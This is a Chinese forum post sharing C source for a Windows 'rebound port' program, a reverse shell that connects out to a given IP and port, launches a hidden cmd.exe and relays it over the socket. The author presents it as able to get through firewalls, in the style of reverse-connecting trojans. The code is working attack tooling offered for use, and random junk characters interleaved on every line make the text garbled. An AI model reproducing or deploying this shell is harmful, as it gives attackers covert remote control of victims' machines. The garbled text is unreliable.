社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3170阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uv=.2U46  
U@gn;@\  
/* ============================== E5)b  
Rebound port in Windows NT L%BNz3:Dt  
By wind,2006/7 TatpXN\  
===============================*/ >SML"+>  
#include Ans cr  
#include [K9'<Qnu  
KAC6Snu1  
#pragma comment(lib,"wsock32.lib") IOb*GTb  
n1~o1  
void OutputShell(); xgpi-l  
SOCKET sClient; 9^,Lc1"M>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3^R&:|,  
x$IX5:E#e  
void main(int argc,char **argv) bLe <G  
{ &=#[(vl  
WSADATA stWsaData; >_o}  
int nRet; &QDW9 Mi  
SOCKADDR_IN stSaiClient,stSaiServer; E_k$W5  
'SCidN(n  
if(argc != 3) #bMuvaP~  
{ |UK}  
printf("Useage:\n\rRebound DestIP DestPort\n"); K<pV  
return; hCCiD9gz  
} S/^"@?z,vE  
y=`2\L" O  
WSAStartup(MAKEWORD(2,2),&stWsaData); N$h{Yvbn  
&0NFb^8+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .z 6fv  
GqWB{$J;"  
stSaiClient.sin_family = AF_INET; ZT,B(#m  
stSaiClient.sin_port = htons(0); T? tG~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ])L A42|  
'`eO\huf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KMU4n-s"o  
{ \=uKHNP?#  
printf("Bind Socket Failed!\n"); "ul {d(K3  
return; ]3VI|f$$  
} - M[$Zy^  
q8^^H$<Db  
stSaiServer.sin_family = AF_INET; %F!1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #>%X_o-o23  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G>wqt@%r9  
twP,cyR  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fb^:V4<T  
{ BlXB7q,  
printf("Connect Error!"); }RmU%IYc  
return; kD*2~Z?;  
} IkBei&4F`  
OutputShell(); !'mq ?C=  
} _acE:H  
I 6<*X  
void OutputShell() UG2nX3?  
{ p /#$io  
char szBuff[1024]; ?\$#L^;b}  
SECURITY_ATTRIBUTES stSecurityAttributes; rypTKT|U;  
OSVERSIONINFO stOsversionInfo; {jYOs l  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s0DGC  
STARTUPINFO stStartupInfo; jJuW-(/4[  
char *szShell; $/.zm; D  
PROCESS_INFORMATION stProcessInformation; x/;buW-  
unsigned long lBytesRead; ]T;EdK-  
{) Q@c)'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R,F[XI+=N  
q>mE< (-M  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0BH_'ZW  
stSecurityAttributes.lpSecurityDescriptor = 0; KcK>%%  
stSecurityAttributes.bInheritHandle = TRUE; enp)-nS0  
7 qj9&bEy  
t: #6sF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ttxqf:OMf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GFel(cx:K  
PNaay:a|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZJwrLV  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m9"n4a|:  
stStartupInfo.wShowWindow = SW_HIDE; T9]HGB{  
stStartupInfo.hStdInput = hReadPipe;  /o[?D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wQwQXNG  
6`v7c!7  
GetVersionEx(&stOsversionInfo); ~v]!+`_J  
jFA{+Yr1  
switch(stOsversionInfo.dwPlatformId) 7N:Y?Hi\  
{ po$ /7  
case 1: O [i#9)  
szShell = "command.com"; ?gJy3@D  
break; zgs(Dt;  
default: g>dA$h%  
szShell = "cmd.exe"; *M$0J'-BQ  
break; c0hwc1kv-  
} n@U n  
f}1&HI8r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (*oL+ef-C  
l-ct?T_@  
send(sClient,szMsg,77,0); &_"]5/"(  
while(1) ]`&Yqg  
{ Dh5X/y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H63,bNS s  
if(lBytesRead) _T2=J+"-Kp  
{ Td G!&:>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /c2w/+ _  
send(sClient,szBuff,lBytesRead,0); d4nH_?  
} EI:w aIr  
else D3)zk@N  
{ );Z1a&K5k  
lBytesRead=recv(sClient,szBuff,1024,0); 6(G?MW.  
if(lBytesRead<=0) break; Gi "941zVl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <L`"!~Q  
} J2j U4mR  
} i{ \%e  
\'9PZ6q{  
return; R,|d`)T  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八